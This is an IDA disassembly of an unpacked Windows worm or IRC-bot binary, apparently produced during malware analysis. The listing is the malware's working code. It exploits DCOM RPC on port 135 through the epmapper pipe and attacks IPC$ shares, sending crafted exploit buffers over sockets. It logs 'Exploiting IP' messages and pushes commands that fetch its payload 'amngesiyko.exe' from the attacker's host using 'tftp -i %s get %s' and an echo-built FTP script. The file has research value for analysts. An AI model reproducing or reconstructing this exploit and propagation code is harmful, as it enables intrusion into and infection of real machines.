; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 7FAFEDADD282CAF345D48733A8DCCCD2 ; File Name : u:\work\7fafedadd282caf345d48733a8dcccd2_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00031000 ( 200704.) ; Section size in file : 00031000 ( 200704.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _text segment para public 'DATA' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_4013F1+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_43454C lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_434558 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_4443A4 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call ds:dword_4942D4 lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_416970 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_416970 mov esi, [ebp+arg_4] add esp, 10h lea eax, [ebp+var_354] push edi push offset dword_4443A8 push offset dword_4443AC push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call dword_44B760 cmp eax, 5 mov ebx, 4C3h jz short loc_4010C7 cmp eax, ebx jnz short loc_4010D1 loc_4010C7: ; CODE XREF: sub_401000+C1j push edi push edi push edi push esi call dword_44B760 loc_4010D1: ; CODE XREF: sub_401000+C5j cmp eax, 5 jz short loc_4010DF cmp eax, ebx jz short loc_4010DF push 1 pop eax jmp short loc_4010E1 ; --------------------------------------------------------------------------- loc_4010DF: ; CODE XREF: sub_401000+D4j ; sub_401000+D8j xor eax, eax loc_4010E1: ; CODE XREF: sub_401000+DDj pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010E6 proc near ; CODE XREF: sub_4013F1+7Ap ; sub_4013F1+15Ap var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_434560 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_43456C ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_4443B0 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call ds:dword_4942D4 lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_416970 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_416970 add esp, 10h loc_401177: ; CODE XREF: sub_4010E6+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_44B600 test eax, eax jz short loc_401197 push 7D0h call ds:dword_4942D8 jmp short loc_401177 ; --------------------------------------------------------------------------- loc_401197: ; CODE XREF: sub_4010E6+A2j push 1 pop eax pop edi pop esi leave retn sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40119E proc near ; CODE XREF: sub_4013F1+A9p ; sub_4013F1+1E7p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_418D40 push esi push edi push offset aAmngesiyko_exe ; "amngesiyko.exe" mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AFEC pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_414773 mov edi, eax add esp, 10h test edi, edi jz loc_4013ED push ebx mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_418A00 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_4189A0 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_418A00 add esp, 24h lea esi, [edi+0D7h] loc_401223: ; CODE XREF: sub_40119E+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_401273 mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_418A00 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_4189A0 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_418A00 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_401223 ; --------------------------------------------------------------------------- loc_401273: ; CODE XREF: sub_40119E+90j cmp [ebp+arg_C4], 0 jz short loc_40128E cmp [ebp+arg_C0], 3 jz short loc_401297 cmp [ebp+arg_C0], 0 jmp short loc_401295 ; --------------------------------------------------------------------------- loc_40128E: ; CODE XREF: sub_40119E+DCj cmp [ebp+arg_C0], 3 loc_401295: ; CODE XREF: sub_40119E+EEj jnz short loc_4012A0 loc_401297: ; CODE XREF: sub_40119E+E5j push 4 push offset dword_434548 jmp short loc_4012A7 ; --------------------------------------------------------------------------- loc_4012A0: ; CODE XREF: sub_40119E:loc_401295j push 4 push offset dword_434544 loc_4012A7: ; CODE XREF: sub_40119E+100j lea eax, [ebp+var_1FE0] push eax call sub_418A00 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_43407C push eax call sub_418A00 push 10h lea eax, [ebp+var_CA4] push offset dword_4343E0 push eax call sub_418A00 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_418A00 lea edi, [esi+370h] push 3Ch push offset off_4343F4 lea eax, [ebp+edi+var_1004] push eax call sub_418A00 add edi, 3Ch push 30h push offset dword_434434 lea eax, [ebp+edi+var_1004] push eax call sub_418A00 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_416A10 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_4189A0 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_418A00 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_4013ED: ; CODE XREF: sub_40119E+3Ej pop edi pop esi leave retn sub_40119E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4013F1 proc near ; CODE XREF: .text:00401756p ; sub_403076+1E6p ; DATA XREF: ... var_1338 = byte ptr -1338h var_338 = byte ptr -338h var_234 = byte ptr -234h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h arg_B4 = dword ptr 0BCh push ebp mov ebp, esp mov eax, 1338h call sub_418D40 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_40155F lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_401000 pop ecx test eax, eax pop ecx jz loc_40166F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_338] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_418D70 add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_338] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call ds:dword_4942EC cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401476 loc_401467: ; CODE XREF: sub_4013F1+126j lea eax, [ebp+arg_4] push eax call sub_4010E6 pop ecx jmp loc_40166F ; --------------------------------------------------------------------------- loc_401476: ; CODE XREF: sub_4013F1+74j lea eax, [ebp+arg_4] push 2 push eax call sub_4064A6 pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh loc_401495: ; DATA XREF: .data:off_4354CCo ; .data:off_435E2Co pop ecx mov edi, esp rep movsd call sub_40119E add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jz short loc_40150E mov edi, 186A0h push edi call sub_416A10 mov esi, eax push edi push ebx push esi call sub_4189A0 add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_434030 push [ebp+var_4] call ds:dword_4942E8 cmp byte ptr [esi+2], 0Ch jnz short loc_4014FE lea eax, [ebp+var_14] push ebx push eax push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call ds:dword_4942E4 test eax, eax jnz short loc_40151C loc_4014FE: ; CODE XREF: sub_4013F1+F3j push esi call sub_417480 push [ebp+var_8] call sub_417480 pop ecx pop ecx loc_40150E: ; CODE XREF: sub_4013F1+B9j push [ebp+var_4] call ds:dword_4942E0 jmp loc_401467 ; --------------------------------------------------------------------------- loc_40151C: ; CODE XREF: sub_4013F1+10Bj lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] call ds:dword_4942DC push [ebp+var_8] mov edi, eax call sub_417480 push esi call sub_417480 pop ecx pop ecx push [ebp+var_4] call ds:dword_4942E0 lea eax, [ebp+arg_4] push eax call sub_4010E6 cmp edi, 1 pop ecx jnz loc_401683 jmp loc_40166F ; --------------------------------------------------------------------------- loc_40155F: ; CODE XREF: sub_4013F1+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_4064A6 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40166F xor ebx, ebx push ebx push 1 push 2 call dword_44B740 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_40166F push 10h lea eax, [ebp+var_24] push ebx push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call dword_44B6C0 ; htons mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_44B700 ; inet_addr mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40119E mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+var_8], esi jnz short loc_4015F1 push [ebp+var_4] jmp short loc_401669 ; --------------------------------------------------------------------------- loc_4015F1: ; CODE XREF: sub_4013F1+1F9j mov edi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push edi call dword_44B668 ; connect cmp eax, 0FFFFFFFFh jnz short loc_401609 loc_401606: ; CODE XREF: sub_4013F1+22Aj push esi jmp short loc_401662 ; --------------------------------------------------------------------------- loc_401609: ; CODE XREF: sub_4013F1+213j push ebx push 48h push offset dword_434030 push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz short loc_401606 mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_44B6D8 ; recv push ebx push [ebp+var_C] push [ebp+var_8] push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jnz short loc_40164A push [ebp+var_8] jmp short loc_401662 ; --------------------------------------------------------------------------- loc_40164A: ; CODE XREF: sub_4013F1+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_44B6D8 ; recv push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_401676 loc_401662: ; CODE XREF: sub_4013F1+216j ; sub_4013F1+257j call sub_417480 pop ecx push edi loc_401669: ; CODE XREF: sub_4013F1+1FEj call dword_44B758 ; closesocket loc_40166F: ; CODE XREF: sub_4013F1+31j ; sub_4013F1+80j ... xor eax, eax jmp loc_401732 ; --------------------------------------------------------------------------- loc_401676: ; CODE XREF: sub_4013F1+26Fj call sub_417480 pop ecx push edi call dword_44B758 ; closesocket loc_401683: ; CODE XREF: sub_4013F1+163j lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_234] push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_418D70 add esp, 0Ch xor esi, esi loc_40169D: ; CODE XREF: sub_4013F1+2CCj lea eax, [ebp+var_234] push eax call sub_40375F test eax, eax pop ecx jnz short loc_4016C1 push 1388h call ds:dword_4942D8 inc esi cmp esi, 6 jl short loc_40169D jmp short loc_40172F ; --------------------------------------------------------------------------- loc_4016C1: ; CODE XREF: sub_4013F1+2BBj lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_A8] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax lea eax, [ebp+var_234] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call sub_418D70 add esp, 10h cmp [ebp+arg_B4], ebx jnz short loc_40170D push ebx lea eax, [ebp+var_234] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_40842D add esp, 14h loc_40170D: ; CODE XREF: sub_4013F1+2FDj lea eax, [ebp+var_234] push eax call sub_4035E1 mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc dword_436160[eax] lea eax, dword_436160[eax] loc_40172F: ; CODE XREF: sub_4013F1+2CEj push 1 pop eax loc_401732: ; CODE XREF: sub_4013F1+280j pop edi pop esi pop ebx leave retn sub_4013F1 endp ; --------------------------------------------------------------------------- push ebx push esi push edi lea esi, [esp+10h] sub esp, 0BCh mov dword ptr [esp+16Ch], 87h push 2Fh pop ecx mov edi, esp rep movsd call sub_4013F1 push 2Fh lea esi, [esp+0D0h] pop ecx mov dword ptr [esp+16Ch], 1BDh mov edi, esp mov ebx, eax rep movsd call sub_401FDA add esp, 0BCh test ebx, ebx jnz short loc_401789 test eax, eax jz short loc_40178C loc_401789: ; CODE XREF: .text:00401783j push 1 pop eax loc_40178C: ; CODE XREF: .text:00401787j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 5214h call sub_418D40 push ebx push esi push edi lea eax, [ebp+0Ch] push 1 push eax call sub_4064A6 pop ecx test eax, eax pop ecx jz loc_40197B cmp eax, 1 jz loc_40197B push 0 push 1 push 2 call dword_44B740 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz loc_40197B push 10h lea eax, [ebp-14h] push 0 push eax call sub_4189A0 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp+0A8h] call dword_44B6C0 ; htons mov [ebp-12h], ax lea eax, [ebp+0Ch] push eax call dword_44B700 ; inet_addr push offset aAmngesiyko_exe ; "amngesiyko.exe" mov [ebp-10h], eax push dword ptr [ebp+8] call sub_40AFEC pop ecx mov esi, 1000h push eax lea eax, [ebp-5214h] push esi push eax call sub_414773 add esp, 10h mov [ebp-4], eax test eax, eax jz loc_40197B push 122h push offset aS ; "è" lea eax, [ebp-4214h] push esi push eax call sub_4147FB mov ebx, eax push 25Ch lea eax, [ebp-2214h] push offset a127_0_0_1Ipc ; "127.0.0.1\\IPC$\\" push eax call sub_418A00 lea eax, [ebp-4214h] push ebx push eax lea eax, [ebp-21F0h] push eax call sub_418A00 push dword ptr [ebp-4] lea eax, [ebp-5214h] push eax lea eax, [ebp-21F0h] push eax call sub_418A00 push 4 lea eax, [ebp-1FE0h] push offset dword_434D8C push eax call sub_418A00 add esp, 40h lea eax, [ebp-1FDCh] push 4 push offset dword_434D88 push eax call sub_418A00 mov eax, 12Eh add esp, 0Ch add [ebp-0EB4h], eax add [ebp-0EACh], eax mov eax, 250h push 10h add [ebp-120Ch], eax add [ebp-1204h], eax add [ebp-1194h], eax add [ebp-1190h], eax add [ebp-1160h], eax add [ebp-115Ch], eax add [ebp-1144h], eax add [ebp-1088h], eax lea eax, [ebp-14h] push eax push edi call dword_44B668 ; connect cmp eax, 0FFFFFFFFh jnz short loc_401917 loc_401914: ; CODE XREF: .text:0040192Bj ; .text:00401944j ... push edi jmp short loc_401975 ; --------------------------------------------------------------------------- loc_401917: ; CODE XREF: .text:00401912j xor ebx, ebx push ebx push 48h push offset dword_4346F4 push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz short loc_401914 push ebx lea eax, [ebp-3214h] push esi push eax push edi call dword_44B6D8 ; recv cmp byte ptr [ebp-3212h], 0Ch jnz short loc_401914 push ebx lea eax, [ebp-1214h] push ebx push eax push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz short loc_401914 push ebx lea eax, [ebp-3214h] push esi push eax push edi call dword_44B6D8 ; recv cmp byte ptr [ebp-3212h], 3 push edi jnz short loc_401982 loc_401975: ; CODE XREF: .text:00401915j call dword_44B758 ; closesocket loc_40197B: ; CODE XREF: .text:004017AFj ; .text:004017B8j ... xor eax, eax loc_40197D: ; CODE XREF: .text:00401A37j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401982: ; CODE XREF: .text:00401973j call dword_44B758 ; closesocket lea eax, [ebp+0Ch] push eax lea eax, [ebp-214h] push offset aTftpFileTran_0 ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_418D70 add esp, 0Ch xor esi, esi loc_4019A2: ; CODE XREF: .text:004019C2j lea eax, [ebp-214h] push eax call sub_40375F test eax, eax pop ecx jnz short loc_4019C6 push 1388h call ds:dword_4942D8 inc esi cmp esi, 6 jl short loc_4019A2 jmp short loc_401A34 ; --------------------------------------------------------------------------- loc_4019C6: ; CODE XREF: .text:004019B1j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax lea eax, [ebp-214h] push offset aSExploitingI_0 ; "[%s]: Exploiting IP: %s." push eax call sub_418D70 add esp, 10h cmp [ebp+0BCh], ebx jnz short loc_401A12 push ebx lea eax, [ebp-214h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40842D add esp, 14h loc_401A12: ; CODE XREF: .text:004019F3j lea eax, [ebp-214h] push eax call sub_4035E1 mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch inc dword_436160[eax] lea eax, dword_436160[eax] loc_401A34: ; CODE XREF: .text:004019C4j push 1 pop eax jmp loc_40197D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A3C proc near ; CODE XREF: sub_401B9B+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_4189A0 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_44B700 ; inet_addr mov [ebp+var_C], eax mov ax, word_4356C8 push eax call dword_44B6C0 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call dword_44B740 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_401B74 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_44B668 ; connect cmp eax, 0FFFFFFFFh jz loc_401B74 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_44B6D8 ; recv mov edi, offset aAmngesiyko_exe ; "amngesiyko.exe" push edi push edi push [ebp+arg_0] call sub_40AFEC pop ecx mov esi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push esi push eax call sub_418EF0 add esp, 18h push dword_44B154 push [ebp+arg_0] call sub_40AFEC pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push esi push eax call sub_418EF0 add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz short loc_401B74 push 1F4h call ds:dword_4942D8 push edi push offset aS_0 ; "%s\r\n" lea eax, [ebp+var_1A0] push esi push eax call sub_418EF0 add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_44B710 ; send cmp eax, 0FFFFFFFFh jnz short loc_401B78 loc_401B74: ; CODE XREF: sub_401A3C+51j ; sub_401A3C+67j ... xor al, al jmp short loc_401B96 ; --------------------------------------------------------------------------- loc_401B78: ; CODE XREF: sub_401A3C+136j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_44B6D8 ; recv push ebx call dword_44B758 ; closesocket mov al, 1 loc_401B96: ; CODE XREF: sub_401A3C+13Aj pop edi pop esi pop ebx leave retn sub_401A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B9B proc near ; CODE XREF: sub_401FDA+116p ; sub_401FDA+138p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_418D40 mov eax, dword_43584C push ebx mov [ebp+var_10], eax mov eax, dword_435850 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset aSIpc ; "\\\\%s\\ipc$" push eax call sub_418D70 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_401BDA: ; CODE XREF: sub_401B9B+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_401BDA push 60h lea eax, [ebp+var_B4] push offset dword_4352D8 push eax call sub_418A00 lea eax, [ebp+var_3C] push eax call sub_418E70 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_418A00 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_2+3) push eax call sub_418E70 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_418A00 lea eax, [ebp+var_3C] push eax call sub_418E70 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_418A00 lea eax, [ebp+var_3C] push eax call sub_418E70 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_418A00 mov ax, word_4356C8 add esp, 2Ch push eax call dword_44B6C0 ; htons xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_434FD8 call sub_418A00 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_401D97 mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_4189A0 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_435708[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_418A00 mov esi, offset dword_434F28 push esi call sub_418E70 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_418A00 push 4 lea eax, [ebp+var_11AC] push offset dword_435860 push eax call sub_418A00 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_418A00 add esp, 40h push esi call sub_418E70 push eax lea eax, [ebp+var_119C] push esi push eax call sub_418A00 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_401D50: ; CODE XREF: sub_401B9B+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_401D50 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_4189A0 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_4189A0 add esp, 18h jmp short loc_401DEE ; --------------------------------------------------------------------------- loc_401D97: ; CODE XREF: sub_401B9B+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_4189A0 mov esi, offset dword_434F28 push esi call sub_418E70 push eax lea eax, [ebp+var_E74] push esi push eax call sub_418A00 lea eax, [ebp+var_10] push eax call sub_418E70 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_418A00 mov eax, dword_435708 add esp, 2Ch mov [ebp+var_768], eax loc_401DEE: ; CODE XREF: sub_401B9B+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_4189A0 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jnz short loc_401E2D loc_401E26: ; CODE XREF: sub_401B9B+2B9j ; sub_401B9B+2E0j ... xor al, al jmp loc_401FD5 ; --------------------------------------------------------------------------- loc_401E2D: ; CODE XREF: sub_401B9B+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_44B6D8 ; recv push ebx push 68h push offset dword_43533C push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz short loc_401E26 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_44B6D8 ; recv push ebx push 0A0h push offset dword_4353A8 push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz short loc_401E26 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_44B6D8 ; recv cmp [ebp+arg_C0], ebx jz loc_401F43 push 68h lea eax, [ebp+var_89B4] push offset dword_435560 push eax call sub_418A00 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_418A00 push 70h lea eax, [ebp+var_68DC] push offset dword_4355CC push eax call sub_418A00 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_418A00 push 84h lea eax, [ebp+var_5DA8] push offset dword_435640 push eax call sub_418A00 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz loc_401E26 push 